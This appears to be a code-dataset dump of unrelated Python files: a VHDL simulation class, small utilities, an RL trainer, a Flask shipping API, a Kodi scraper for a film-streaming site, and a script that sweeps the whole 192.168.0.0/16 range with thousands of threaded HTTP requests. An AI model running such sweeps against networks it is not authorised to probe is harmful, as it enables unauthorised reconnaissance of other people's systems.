self._update_list_running =[]\n self._update_list_process_running = list()\n self._receiver_list_running = []\n self._got_update_list = False\n self._Pull_update_list = list()\n self._Push_update_list = list()\n self.__vcd_varobj__ = None\n self.__vcd_writer__ = None\n self.__UpdateFlag__ = False\n self._Simulation_name = \"NotSet\"\n\n\n\n\n\n def _sim_get_value(self):\n return self.value_list[self.value_index]\n\n\n def isInOutType(self, Inout):\n if Inout == None:\n return True\n if self.Inout == InOut_t.InOut_tt:\n return True\n\n return self.Inout == Inout\n\n def isVarSigType(self, varSigType):\n if varSigType == None:\n return True\n\n return self.varSigConst == varSigType\n\n\n\n def set_vhdl_name(self,name, Overwrite = False):\n if self.vhdl_name and self.vhdl_name != name and Overwrite==False:\n raise Exception(\"double Conversion to vhdl\")\n else:\n self.vhdl_name = name\n\n\n\n\n def getType(self,Inout=None):\n return self.type\n\n def getTypes(self):\n return {\n \"main\" : self.type\n }\n def resetInout(self):\n self.Inout = InOut_t.Internal_t\n \n def setInout(self,Inout):\n if self.Inout == InOut_t.Internal_t and Inout == InOut_t.Master_t:\n self.Inout = InOut_t.output_t\n return \n elif Inout == InOut_t.Master_t:\n return \n\n elif self.Inout == InOut_t.Internal_t and Inout == InOut_t.Slave_t:\n self.Inout = InOut_t.input_t\n return \n elif Inout == InOut_t.Slave_t:\n self.Inout = InoutFlip(self.Inout)\n return \n self.Inout = Inout\n\n\n def set_varSigConst(self, varSigConst):\n self.varSigConst = varSigConst\n \n \n def flipInout(self):\n self.Inout = InoutFlip(self.Inout)\n\n \n \n\n def get_type(self):\n return self.type\n\n\n\n def __str__(self):\n if self.vhdl_name:\n return str(self.vhdl_name)\n\n raise Exception(\"No Name was given to symbol\")\n\n def set_simulation_param(self,module, name,writer):\n self._Simulation_name =module+\".\" +name\n self.__vcd_varobj__ = writer.register_var(module, name, 'integer', size=32)\n self.__vcd_writer__ = writer \n self.vhdl_name = name\n self.__vcd_writer__.change(self.__vcd_varobj__, self._sim_get_value())\n\n def _sim_write_value(self):\n if self.__vcd_writer__:\n self.__vcd_writer__.change(self.__vcd_varobj__, self._sim_get_value())\n \n for x in self._receiver_list_running:\n x._sim_write_value()\n\n def update_init(self):# Only needs to run once on init\n if not self._got_update_list:\n self._update_list_process_running = list(set(self._sim__update_list_process()))\n self._update_list_running = list(set(self._sim_get_update_list()))\n self._receiver_list_running = self._sim_get_receiver()\n self._got_update_list = True\n\n\n def update(self):\n self.update_init() # Wrong Place here but it works \n\n self.value_list[self.value_index] = self.nextValue\n\n self._sim_write_value()\n \n gsimulation.append_updateList(self._update_list_running)\n gsimulation.append_updateList_process(self._update_list_process_running)\n\n self.__UpdateFlag__ = False\n\n##################### Operators #############################################\n def __add__(self,rhs):\n \n return value(self) + value(rhs) \n\n def __sub__(self,rhs):\n \n return value(self) - value(rhs) \n \n def __lt__(self,rhs):\n return value(self) < value(rhs) \n\n def __gt__(self,rhs):\n return value(self) > value(rhs) \n\n def __eq__(self,rhs):\n return value(self) == value(rhs) \n##################### End Operators #############################################\n\n def _sim_get_new_storage(self):\n self.value_list.append(value(self))\n self.value_index = len(self.value_list) -1 \n\n def _sim_get_update_list(self):\n ret = self._update_list\n for x in self.__receiver__:\n ret += x._sim_get_update_list()\n return ret\n def _sim_get_receiver(self):\n ret = self.__receiver__\n for x in self.__receiver__:\n ret += x.__receiver__\n return ret\n \n def _sim_get_primary_driver(self):\n ret = self\n if self.__Driver__:\n ret = self.__Driver__._sim_get_primary_driver()\n return ret\n\n def _sim_set_new_value_index(self,Index):\n self.value_index = Index\n receivers = self._sim_get_receiver()\n for x in receivers:\n x.value_index = self.value_index\n \n def _sim__update_list_process(self):\n ret = self._update_list_process\n for x in self.__receiver__:\n ret += x._sim__update_list_process()\n return ret\n\n def _sim_start_simulation(self):\n self._update_list_process_running = self._sim__update_list_process()\n self._update_list_running =self._sim_get_update_list()\n\n\n def _sim_append_update_list(self,up):\n self._update_list.append(up)\n \n\n\n def _instantiate_(self):\n self._isInstance = True\n self.Inout = InoutFlip(self.Inout)\n return self\n \n def _un_instantiate_(self, Name = \"\"):\n self._isInstance = False\n self.flipInout()\n self.set_vhdl_name(Name,True)\n return self\n\n def __bool__(self):\n return value(self) > 0\n\n\n def _Connect_running(self, rhs):\n self.nextValue = value(rhs)\n #print(\"assing: \", self.value_index , self._Simulation_name , value(rhs))\n\n if self.nextValue != value(self):\n def update():\n self.update()\n\n if not self.__UpdateFlag__:\n gsimulation.append_updateList([update])\n self.__UpdateFlag__ = True\n \n if self.varSigConst == varSig.variable_t:\n self.value_list[self.value_index] = self.nextValue\n\n def _Conect_Not_running(self,rhs):\n if self.__Driver__ != None and not isConverting2VHDL():#todo: there is a bug with double assigment in the conversion to vhdl\n raise Exception(\"symbol has already a driver\", str(self))\n elif not issubclass(type(rhs),vhdl_base0):\n self.nextValue = rhs\n self.value_list[self.value_index] = rhs\n return\n\n if rhs.varSigConst == varSig.variable_t or self.varSigConst == varSig.variable_t:\n self.value_list[self.value_index] = value(rhs)\n def update1():\n #print(\"update: \", self.value_index , self._Simulation_name , value(rhs))\n self.nextValue = value(rhs)\n self.update()\n rhs._update_list.append(update1)\n else:\n self.__Driver__ = rhs\n rhs.__receiver__.append(self)\n self.nextValue = rhs.nextValue\n self._sim_set_new_value_index( rhs._sim_get_primary_driver().value_index )\n\n \n \n def __lshift__(self, rhs):\n if gsimulation.isRunning():\n self._Connect_running(rhs)\n else:\n self._Conect_Not_running(rhs)\n \n\n\n\n\n\n def _issubclass_(self,test):\n if super()._issubclass_(test):\n return True\n return \"v_symbol\" == test\n\n\n\n\n\n\n\n\n\n\n\n\nslv_includes = \"\"\"\nlibrary IEEE;\nlibrary UNISIM;\nlibrary work;\n use IEEE.numeric_std.all;\n use IEEE.std_logic_1164.all;\n use UNISIM.VComponents.all;\n use ieee.std_logic_unsigned.all;\n use work.hlpydlcore.all;\n\"\"\"\n\n\ndef v_bool(Inout=InOut_t.Internal_t,Default=0,varSigConst=None):\n value = Default\n if type(Default).__name__ == \"int\":\n Default = \"'\" + str(Default) +\"'\"\n \n\n return v_symbol(\n v_type= \"boolean\", \n DefaultValue=Default, \n Inout = Inout,\n includes=slv_includes,\n value = value,\n varSigConst=varSigConst\n )\n \ndef v_sl(Inout=InOut_t.Internal_t,Default=0,varSigConst=None):\n value = Default\n if type(Default).__name__ == \"int\":\n Default = \"'\" + str(Default) +\"'\"\n \n\n return v_symbol(\n v_type= \"std_logic\", \n DefaultValue=Default, \n Inout = Inout,\n includes=slv_includes,\n value = value,\n varSigConst=varSigConst\n )\n\ndef v_slv(BitWidth=None,Default=0, Inout=InOut_t.Internal_t,varSigConst=None):\n\n\n value = Default\n if str(Default) == '0':\n Default = \"(others => '0')\"\n\n elif type(Default).__name__ == \"int\":\n Default = 'x\"'+ hex(Default)[2:].zfill(int( int(BitWidth)/4))+'\"' \n \n v_type = \"\"\n if BitWidth == None:\n v_type=\"std_logic_vector\" \n elif type(BitWidth).__name__ == \"int\":\n v_type=\"std_logic_vector(\" + str(BitWidth -1 ) + \" downto 0)\"\n else: \n v_type = \"std_logic_vector(\" + str(BitWidth ) + \" -1 downto 0)\"\n\n return v_symbol(\n v_type=v_type, \n DefaultValue=Default,\n value=value,\n Inout=Inout,\n includes=slv_includes,\n varSigConst=varSigConst\n )\n\ndef v_int(Default=0, Inout=InOut_t.Internal_t, varSigConst=None):\n \n return v_symbol(\n v_type= \"integer\",\n value= value(Default), \n DefaultValue=str(Default), \n Inout = Inout,\n includes=slv_includes,\n varSigConst=varSigConst\n )\n\n","repo_name":"RPeschke/pyHDL","sub_path":"xgen_v_symbol.py","file_name":"xgen_v_symbol.py","file_ext":"py","file_size_in_byte":18717,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"37"} +{"seq_id":"34885260598","text":"\"\"\"\nA module to contain the Worksheet class.\n\nAssumes the data in the worksheet has its column names in the first row.\nOne of these column names is called 'Date' and contain information about dates.\n\"\"\"\n\nfrom datetime import date\n\nMONTH_MAP = {\"january\" : 1, \"february\" : 2, \"march\" : 3, \"april\" : 4, \"may\" : 5, \"june\" : 6,\n\"july\" : 7, \"august\" : 8, \"september\" : 9, \"october\" : 10, \"november\" : 11, \"december\" : 12}\n\nclass Worksheet():\n \"\"\"\n The class that represents a worksheet in Google sheet where the first row has the column names.\n One of these column names is called 'Date' and contain information about dates.\n \"\"\"\n\n def __init__(self, data=None, worksheet_index=None):\n \"\"\"\n The constructor.\n\n data : list of dict objects where each dict represents a row with the keys as the\n column names and values as the entry\n worksheet_index : int represents the worksheet index where 0 is the first worksheet\n \"\"\"\n\n if not data or worksheet_index is None:\n # Invalid worksheet or empty\n self.data = []\n self.column_names = []\n self.worksheet_index = None\n\n else:\n self.data = data\n self.column_names = list(data[0].keys())\n self.worksheet_index = worksheet_index\n\n def next_meeting(self, initial_date):\n \"\"\"\n Returns the row of data in a dict form for the next meeting when given the initial date.\n\n initial_date : datetime.date object represents the date of the initial_date\n \"\"\"\n\n date_column_index = self.get_date_column_index()\n if not self.data or self.data == [{}] or not self.column_names or \\\n not initial_date or date_column_index is None:\n return {}\n\n # Assumes the first column is Date\n date_col_name = self.column_names[date_column_index]\n next_date = None\n next_row = None\n\n for row in self.data:\n date_in_row = row[date_col_name]\n # date_in_row looks like something like \"April 1 ,2021\"\n date_list = date_in_row.replace(\",\", \"\").split()\n # change to ints\n month_int = MONTH_MAP[date_list[0].lower()]\n # the datetime objects takes the parameters of year, month, day\n cur_date = date(int(date_list[2]), month_int, int(date_list[1]))\n\n # compare with initial date and this date\n if initial_date < cur_date :\n if next_date:\n if next_date > cur_date:\n next_date = cur_date\n next_row = row\n else:\n # next_date is still None and has not been updated\n next_date = cur_date\n next_row = row\n\n if next_date and next_row:\n return next_row\n\n # Means you need to update spreadsheet\n return {}\n\n def get_date_column_index(self):\n \"\"\"\n Returns the index of the column where column is called 'Date'.\n \"\"\"\n\n for index, column_name in enumerate(self.column_names):\n filtered_column_name = column_name.strip() # Remove spaces\n if filtered_column_name == \"Date\":\n return index\n return -1\n","repo_name":"wwyl1234/automate-emails","sub_path":"automate_emails/worksheet.py","file_name":"worksheet.py","file_ext":"py","file_size_in_byte":3295,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"10183773388","text":"import argparse\nimport time\nparser = argparse.ArgumentParser()\nparser.add_argument('days', type=int)\nparser.add_argument('file', type=argparse.FileType('r'))\nargs = parser.parse_args()\n\nfish = [int(n) for n in args.file.readline().strip().split(',')]\ndays = args.days\n\ndef grow_lanterfish(fish_list, days):\n if days > 0:\n fish = fish_list[-1]\n fish_list.append([n-1 if n > 0 else 6 for n in fish] + [8] * fish.count(0))\n return grow_lanterfish(fish_list, days-1)\n else:\n return fish_list\n\ndef print_lanternfish(fish_list):\n for i, fish in enumerate(fish_list):\n if i == 0:\n print(f\"Initial state: {','.join([str(i) for i in fish])}\")\n elif i == 1:\n print(f\"After {i} day: {','.join([str(i) for i in fish])}\")\n elif i > 9:\n print(f\"After {i} days: {','.join([str(i) for i in fish])}\")\n else:\n print(f\"After {i} days: {','.join([str(i) for i in fish])}\")\n\n# print_lanternfish(grow_lanterfish([fish], days))\n\nfish_list = grow_lanterfish([fish], days)\nprint(f\"Part 1 solution: {len(fish_list[-1])}\")","repo_name":"toni-neurosc/AdventOfCode","sub_path":"2021/d6p1.py","file_name":"d6p1.py","file_ext":"py","file_size_in_byte":1107,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"8654564785","text":"#!/usr/bin/python3\n\n\"\"\"\nGather data from an API and save it to csv file\n\"\"\"\n\nimport csv\nimport requests\nfrom sys import argv\n\n\nAPI_URL = \"https://jsonplaceholder.typicode.com\"\n\nif __name__ == \"__main__\":\n userInfo = requests.get(\"{}/users/{}\".format(API_URL, argv[1])).json()\n taskToDo = requests.get(\"{}/todos?userId={}\".\n format(API_URL, argv[1])).json()\n with open('{}.csv'.format(argv[1]), 'w', encoding='UTF8') as f:\n writer = csv.writer(f, quoting=csv.QUOTE_ALL)\n for task in taskToDo:\n writer.writerow(['{}'.format(int(argv[1])),\n userInfo['username'],\n task['completed'],\n task['title']])\n","repo_name":"Camaltra/holberton-system_engineering-devops","sub_path":"0x15-api/1-export_to_CSV.py","file_name":"1-export_to_CSV.py","file_ext":"py","file_size_in_byte":742,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"7155086158","text":"number = int(input())\ngrades = {}\nfor _ in range(number):\n student_name = input()\n student_grade = float(input())\n if student_name not in grades:\n grades[student_name] = []\n grades[student_name].append(student_grade)\n\nfiltered_grades = {}\n\nfor student_name, student_grade in grades.items():\n avg_grade = sum(student_grade) / len(student_grade)\n if avg_grade >= 4.50:\n filtered_grades[student_name] = avg_grade\n\nfor name, grade in filtered_grades.items():\n print(f\"{name} -> {grade:.2f}\")\n\n","repo_name":"IvaDrRad/SoftUni-Python","sub_path":"Programming-Fundamentals-Python/Dictionaries/student_academy.py","file_name":"student_academy.py","file_ext":"py","file_size_in_byte":524,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"70424570669","text":"import stable_baselines3 as sb3\nfrom stable_baselines3.common.evaluation import evaluate_policy\nfrom stable_baselines3.common.vec_env import SubprocVecEnv\nfrom stable_baselines3.common.utils import set_random_seed\nfrom stable_baselines3.common.monitor import Monitor\nfrom stable_baselines3.common.callbacks import BaseCallback\n\nfrom env1x1 import CityFlow1x1\n\n\nclass MyCallback(BaseCallback):\n def __init__(self, save_path, verbose=1):\n super().__init__(verbose)\n self.eval_env = Monitor(make_env(0, 0)())\n self.best_mean = float('-inf')\n self.save_path = save_path\n\n def _on_rollout_start(self) -> bool:\n if self.verbose > 0:\n mean, std = evaluate_policy(self.model, self.eval_env, \n n_eval_episodes=4)\n print(f'{self.num_timesteps}. cum_reward={mean:.2f} +/- {std:.2f} ', end='')\n if mean > self.best_mean:\n self.best_mean = mean\n self.model.save(self.save_path)\n print('new best!')\n else:\n print()\n\n return True\n\n def _on_step(self):\n return True\n\n\ndef make_env(rank, seed=0, steps=100):\n def _init():\n env = CityFlow1x1('data/rl/config.json', steps_per_episode=steps)\n env.reset(seed=seed+rank)\n return env\n set_random_seed(seed)\n return _init\n\n\nif __name__ == '__main__':\n n_envs = 8\n\n vec_env = SubprocVecEnv([make_env(i) for i in range(n_envs)])\n \n cb = MyCallback('ppo_mlp_travel_time')\n\n model = sb3.PPO(\"MlpPolicy\", vec_env, verbose=1, learning_rate=0.01)\n # model = sb3.PPO.load(\"ppo_mlp_penalty_half\", env=vec_env, verbose=1, learning_rate=0.001)\n model.learn(total_timesteps=100_000, progress_bar=True, callback=cb)\n\n del model\n vec_env.close()\n\n model = sb3.PPO.load(cb.save_path)\n env = Monitor(make_env(0, 0, steps=100)())\n mean_reward, std_reward = evaluate_policy(\n model, env, n_eval_episodes=10)\n\n print(f'mean_reward={mean_reward:.2f} +/- {std_reward:.2f}')\n env.close()\n\n # let's record some banging tunes\n env = make_env(0, 0, steps=200)()\n env.set_save_replay(True)\n\n obs = env.reset()\n for _ in range(env.steps_per_episode):\n action, _ = model.predict(obs)\n obs, reward, done, info = env.step(action)\n\n","repo_name":"egormoroz/rltl","sub_path":"train.py","file_name":"train.py","file_ext":"py","file_size_in_byte":2340,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"73868831468","text":"from __future__ import print_function\n\nimport dataset\nimport time\n\nfrom collect_social.twitter.utils import get_api\nfrom datetime import datetime\n\n\ndef get_profiles(api, user_ids=None):\n profiles = api.UsersLookup(include_entities=False,\n user_id=user_ids)\n\n return profiles\n\n\ndef upsert_profiles(db, profiles):\n user_table = db['user']\n for profile in profiles:\n data = {\n 'user_id': profile.id,\n 'profile_collected': 1\n }\n\n profile_props = [\n 'contributors_enabled',\n 'created_at',\n 'default_profile',\n 'default_profile_image',\n 'description',\n 'favourites_count',\n 'followers_count',\n 'friends_count',\n 'geo_enabled',\n 'lang',\n 'listed_count',\n 'location',\n 'name',\n 'profile_background_color',\n 'profile_background_image_url',\n 'profile_background_tile',\n 'profile_banner_url',\n 'profile_image_url',\n 'profile_link_color',\n 'profile_sidebar_fill_color',\n 'profile_text_color',\n 'protected',\n 'screen_name',\n 'statuses_count',\n 'time_zone',\n 'url',\n 'utc_offset',\n 'verified'\n ]\n\n for key in profile_props:\n data[key] = getattr(profile, key)\n\n user_table.upsert(data, ['user_id'])\n\n\ndef run(consumer_key, consumer_secret, access_key, access_secret,\n connection_string):\n\n db = dataset.connect(connection_string)\n api = get_api(consumer_key, consumer_secret, access_key, access_secret)\n\n user_table = db['user']\n users = user_table.find(user_table.table.columns.user_id != 0,\n profile_collected=0)\n users = [u for u in users]\n\n if len(users) == 0:\n print('No users without profiles')\n return None\n\n ids_to_lookup = []\n for user in users:\n ids_to_lookup.append(user['user_id'])\n if len(ids_to_lookup) == 100:\n print('Getting profiles')\n profiles = get_profiles(api, user_ids=ids_to_lookup)\n print('Updating 100 profiles')\n upsert_profiles(db, profiles)\n ids_to_lookup = []\n print('Sleeping, timestamp: ' + str(datetime.now()))\n time.sleep(5)\n\n print('Getting profiles')\n profiles = get_profiles(api, user_ids=ids_to_lookup)\n print('Updating ' + str(len(ids_to_lookup)) + ' profiles')\n upsert_profiles(db, profiles)\n\n print('Finished getting profiles')\n","repo_name":"Data4Democracy/collect-social","sub_path":"collect_social/twitter/get_profiles.py","file_name":"get_profiles.py","file_ext":"py","file_size_in_byte":2656,"program_lang":"python","lang":"en","doc_type":"code","stars":28,"dataset":"github-code","pt":"37"} +{"seq_id":"43213433351","text":"import os\nfrom flask import Flask\nfrom flask_jwt import JWT, jwt_required\nfrom flask_sqlalchemy import SQLAlchemy\nfrom flask_cors import CORS\nfrom config import config\nfrom services.bolService import BolService\nfrom services.postmenService import PostmenService\nfrom auth import authenticate, identity\n\napp = Flask(__name__)\nCORS(app)\napp.config['CORS_HEADERS'] = 'Content-Type'\nconf = config[os.environ.get('ENVIRONMENT', 'staging')]\napp.config.from_object(conf)\ndb = SQLAlchemy(app)\njwt = JWT(app, authenticate, identity)\n\n\n@app.route('/orders/<id>')\n@jwt_required()\ndef get_open_orders(id):\n bol_service = BolService(id)\n return bol_service.get_all_orders()\n\n\n@app.route('/shippers/<postmen_key>')\n@jwt_required()\ndef get_all_shippers(postmen_key):\n postmen_service = PostmenService(postmen_key)\n return postmen_service.get_all_shippers()\n\n\n@app.route('/shippers/<postmen_key>', methods=['POST'])\n@jwt_required()\ndef create_shipper(postmen_key):\n postmen_service = PostmenService(postmen_key)\n return postmen_service.create_shipper()\n\n\n@app.route('/shippers/<postmen_key>/<id>', methods=['DELETE'])\n@jwt_required()\ndef delete_shipper(postmen_key, id):\n postmen_service = PostmenService(postmen_key)\n return postmen_service.delete_shipper(id)\n\n\n@app.route('/labels/<postmen_key>')\n@jwt_required()\ndef get_all_labels(postmen_key):\n postmen_service = PostmenService(postmen_key)\n return postmen_service.get_all_labels()\n\n\n@app.route('/orders/<id>/<order_id>')\n# @jwt_required()\ndef get_open_order(id, order_id):\n bol_service = BolService(id)\n return bol_service.get_order_by_ids([order_id])\n\n\n@app.route('/labels/<postmen_key>/<bol_id>', methods=['POST'])\n@jwt_required()\ndef label_by_ids(postmen_key, bol_id):\n postmen_service = PostmenService(postmen_key)\n return postmen_service.create_labels(bol_id)\n\n\n@app.route('/credentials', methods=['POST'])\n@jwt_required()\ndef create_credential():\n from services.dbService import DbService\n db_service = DbService()\n return db_service.create_credential()\n\n\n@app.route('/credentials/<id>', methods=['DELETE'])\n@jwt_required()\ndef delete_credential(id):\n from services.dbService import DbService\n db_service = DbService()\n return db_service.delete_credential(id)\n\n\n@app.route('/credentials')\n@jwt_required()\ndef get_all_credentials():\n from services.dbService import DbService\n db_service = DbService()\n return db_service.get_all_credentials()\n\n\n@app.route('/postmenKeys', methods=['POST'])\n@jwt_required()\ndef create_postmen_key():\n from services.dbService import DbService\n db_service = DbService()\n return db_service.create_postmen_key()\n\n\n@app.route('/postmenKeys/<id>', methods=['DELETE'])\n@jwt_required()\ndef delete_postmen_key(id):\n from services.dbService import DbService\n db_service = DbService()\n return db_service.delete_postmen_key(id)\n\n\n@app.route('/postmenKeys')\n@jwt_required()\ndef get_all_postmen_key():\n from services.dbService import DbService\n db_service = DbService()\n return db_service.get_all_postmen_keys()\n\n\n# if __name__ == '__main__':\n# app.run()\n","repo_name":"basitalisandhu/order","sub_path":"sendplaza-be/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":3116,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"29065800587","text":"import requests\nimport threading\nimport time\nfrom concurrent.futures import ThreadPoolExecutor\n\ndef http_get_with_requests(url: str):\n try:\n response = requests.get(url, timeout=10, verify=False)\n print(f\"found... something at {url}\")\n except:\n response = \"Missed\"\n\n response_json = None\n try:\n response_json = response.json()\n except:\n pass\n\n response_content = None\n try:\n response_content = response.content\n except:\n pass\n\n return (response_json, response_content)\n\ndef http_get_with_requests_parallel(list_of_urls):\n t1 = time.time()\n results = []\n executor = ThreadPoolExecutor(max_workers=4096)\n for result in executor.map(http_get_with_requests, list_of_urls):\n results.append(result)\n t2 = time.time()\n t = t2 - t1\n return results, t\n\n\nIPS = []\nbaseIP = \"http://192.168\"\n\nfor i in range(0, 256):\n thirdLevelIp = baseIP + f\".{i}\" \n for j in range(0, 256):\n fourthLevelIp = thirdLevelIp + f\".{j}\" \n IPS.append(fourthLevelIp)\n \n \n\nresults, timeSpent = http_get_with_requests_parallel(IPS)\n\ntime.sleep(15)\nprint(f\"completed in {timeSpent} seconds\")","repo_name":"JustTemmiesRandomProjects/Random-Scripts-I-ve-Made","sub_path":"what-fucking-ip-is-it.py","file_name":"what-fucking-ip-is-it.py","file_ext":"py","file_size_in_byte":1187,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"25642129989","text":"import sys\nimport numpy as np\nfrom copy import deepcopy\nfrom itertools import compress\n\nimport gym\nfrom gym.spaces import Discrete, MultiDiscrete, Tuple\n\nfrom mujoco_worldgen.util.rotation import mat2quat\nfrom mujoco_worldgen.util.sim_funcs import qpos_idxs_from_joint_prefix, qvel_idxs_from_joint_prefix, joint_qvel_idxs, joint_qpos_idxs, body_names_from_joint_prefix\nfrom environment.wrappers.util_w import update_obs_space\nfrom environment.utils.vision import insight, in_cone2d\n\n\nclass PrepWrapper(gym.Wrapper):\n '''\n Add variables and mechanisms needed before any wrapper.\n '''\n def __init__(self, env):\n super().__init__(env)\n # Set starting hp\n self.starting_health = 2000.0\n self.metadata['starting_health'] = self.starting_health\n self.n_agents = self.metadata['n_agents']\n # Reset obs space\n self.observation_space = update_obs_space(self.env, {'agents_health': [self.n_agents, 1]})\n self.observation_space = update_obs_space(self.env, {'agent_teams': [self.n_agents, 1]})\n\n def reset(self):\n obs = self.env.reset()\n sim = self.unwrapped.sim\n # Reset agents' healths\n self.agents_health = np.array([[self.starting_health] for _ in range(self.n_agents)])\n # Store agents' qpos\n self.agent_qpos_idxs = np.array([qpos_idxs_from_joint_prefix(sim, f'agent{i}')\n for i in range(self.n_agents)])\n return self.observation(obs)\n\n def observation(self, obs):\n obs['agent_teams'] = np.array([[self.metadata['agent_infos'][i]['team']] for i in range(self.n_agents)])\n return obs \n\n def minus_hp(self, agent_idx, hp):\n \"\"\"\n Args:\n agent_idx: id of agent\n hp: health of agent to minus\n \"\"\"\n self.agents_health[agent_idx][0] -= hp\n self.agents_health[agent_idx][0] = max(self.agents_health[agent_idx][0], 0.0)\n \n def add_hp(self, agent_idx, hp):\n \"\"\"\n Args:\n agent_idx: id of agent\n hp: health of agent to add\n \"\"\"\n self.agents_health[agent_idx][0] += hp\n \n def get_hp(self):\n return self.agents_health\n\n def step(self, action):\n obs, rew, done, info = self.env.step(action)\n sim = self.unwrapped.sim\n for aqidx in self.agent_qpos_idxs:\n agent_qpos = sim.data.qpos[aqidx]\n if agent_qpos[0] < 0 or agent_qpos[0] > 8540.50 or agent_qpos[1] < 0 or agent_qpos[1] > 5540.50:\n done = True\n rew = np.array([0.0 for _ in range(2)])\n info['lasting_rew'] = [0.0 for _ in range(2)]\n return self.observation(obs), rew, done, info\n","repo_name":"HKU-ICRA/Pulsar","sub_path":"environment/wrappers/prep.py","file_name":"prep.py","file_ext":"py","file_size_in_byte":2736,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"32692689929","text":"# -*- coding: utf-8 -*-\n# vStream https://github.com/Kodi-vStream/venom-xbmc-addons\nimport re\n\nfrom resources.lib.gui.hoster import cHosterGui\nfrom resources.lib.gui.gui import cGui\nfrom resources.lib.handler.inputParameterHandler import cInputParameterHandler\nfrom resources.lib.handler.outputParameterHandler import cOutputParameterHandler\nfrom resources.lib.handler.requestHandler import cRequestHandler\nfrom resources.lib.parser import cParser\nfrom resources.lib.comaddon import siteManager\nfrom resources.lib.util import cUtil\n\nSITE_IDENTIFIER = 'filmstreamingy'\nSITE_NAME = 'FilmStreamingY'\nSITE_DESC = 'stream HD, streaming Sans pub, streaming vf'\n\nURL_MAIN = siteManager().getUrlMain(SITE_IDENTIFIER)\n\nURL_SEARCH_MOVIES = (URL_MAIN + '?s=', 'showMovies')\nFUNCTION_SEARCH = 'showMovies'\n\nMOVIE_MOVIE = (True, 'load')\nMOVIE_NEWS = (URL_MAIN + 'dernier/film-en-streaming', 'showMovies')\nMOVIE_TOP = (URL_MAIN + 'dernier/genres/top-films-streaming', 'showMovies')\nMOVIE_GENRES = (True, 'showGenres')\n\n\ndef load():\n oGui = cGui()\n\n oOutputParameterHandler = cOutputParameterHandler()\n oOutputParameterHandler.addParameter('siteUrl', 'http://venom/')\n oGui.addDir(SITE_IDENTIFIER, 'showSearch', 'Recherche', 'search.png', oOutputParameterHandler)\n\n oOutputParameterHandler.addParameter('siteUrl', MOVIE_NEWS[0])\n oGui.addDir(SITE_IDENTIFIER, MOVIE_NEWS[1], 'Films (Derniers ajouts)', 'news.png', oOutputParameterHandler)\n\n oOutputParameterHandler.addParameter('siteUrl', MOVIE_TOP[0])\n oGui.addDir(SITE_IDENTIFIER, MOVIE_TOP[1], 'Films (Populaires)', 'star.png', oOutputParameterHandler)\n\n oOutputParameterHandler.addParameter('siteUrl', MOVIE_GENRES[0])\n oGui.addDir(SITE_IDENTIFIER, MOVIE_GENRES[1], 'Films (Genres)', 'genres.png', oOutputParameterHandler)\n\n oGui.setEndOfDirectory()\n\n\ndef showSearch():\n oGui = cGui()\n\n sSearchText = oGui.showKeyBoard()\n if sSearchText:\n showMovies(sSearchText)\n oGui.setEndOfDirectory()\n return\n\n\ndef showGenres():\n oGui = cGui()\n oParser = cParser()\n\n oRequestHandler = cRequestHandler(URL_MAIN)\n sHtmlContent = oRequestHandler.request()\n\n sPattern = 'menu-item-object-category menu-item-[0-9]+\"><a href=\"([^\"]+)\">(.+?)<'\n aResult = oParser.parse(sHtmlContent, sPattern)\n if not aResult[0]:\n oGui.addText(SITE_IDENTIFIER)\n else:\n triAlpha = []\n oOutputParameterHandler = cOutputParameterHandler()\n for aEntry in aResult[1]:\n if aEntry[1] in ('Liste De Films De Noël', 'Films De Noël', 'Top Films Streaming', 'Top Films',\n 'Prochainement', 'Uncategorized', 'Genres', 'Tendance'):\n continue\n\n sUrl = aEntry[0]\n sTitle = aEntry[1].capitalize()\n triAlpha.append((sTitle, sUrl))\n\n # Trie des genres par ordre alphabétique\n triAlpha = sorted(triAlpha, key=lambda genre: genre[0])\n\n for sTitle, sUrl in triAlpha:\n oOutputParameterHandler.addParameter('siteUrl', sUrl)\n oGui.addDir(SITE_IDENTIFIER, 'showMovies', sTitle, 'genres.png', oOutputParameterHandler)\n oGui.setEndOfDirectory()\n\n\ndef showMovies(sSearch=''):\n oGui = cGui()\n if sSearch:\n oUtil = cUtil()\n sSearchText = oUtil.CleanName(sSearch.replace(URL_SEARCH_MOVIES[0], ''))\n sUrl = URL_SEARCH_MOVIES[0] + sSearchText.replace(' ', '+')\n else:\n oInputParameterHandler = cInputParameterHandler()\n sUrl = oInputParameterHandler.getValue('siteUrl')\n\n oRequestHandler = cRequestHandler(sUrl)\n sHtmlContent = oRequestHandler.request()\n\n oParser = cParser()\n sPattern = 'class=\"ml-item\"> <a href=\"([^\"]+).+?img src=\"([^\"]*).+?alt=\"([^\"]+).+?(?:|jtip-quality\">([^<]+).+?)desc\"><p>([^<]+)'\n aResult = oParser.parse(sHtmlContent, sPattern)\n\n if not aResult[0]:\n oGui.addText(SITE_IDENTIFIER)\n else:\n oOutputParameterHandler = cOutputParameterHandler()\n for aEntry in aResult[1]:\n sUrl2 = aEntry[0]\n sThumb = re.sub('/w\\d+/', '/w342/', aEntry[1])\n sTitle = aEntry[2].replace('en streaming', '').replace('en steaming', '')\n sQual = aEntry[3] if not sSearch else ''\n sDesc = aEntry[4]\n\n # Filtre de recherche\n if sSearch:\n if not oUtil.CheckOccurence(sSearchText, sTitle):\n continue\n\n sDisplayTitle = ('%s [%s]') % (sTitle, sQual)\n\n oOutputParameterHandler.addParameter('siteUrl', sUrl2)\n oOutputParameterHandler.addParameter('sMovieTitle', sTitle)\n oOutputParameterHandler.addParameter('sThumb', sThumb)\n oOutputParameterHandler.addParameter('sDesc', sDesc)\n\n oGui.addMovie(SITE_IDENTIFIER, 'showHosters', sDisplayTitle, '', sThumb, sDesc, oOutputParameterHandler)\n\n if not sSearch:\n sNextPage, 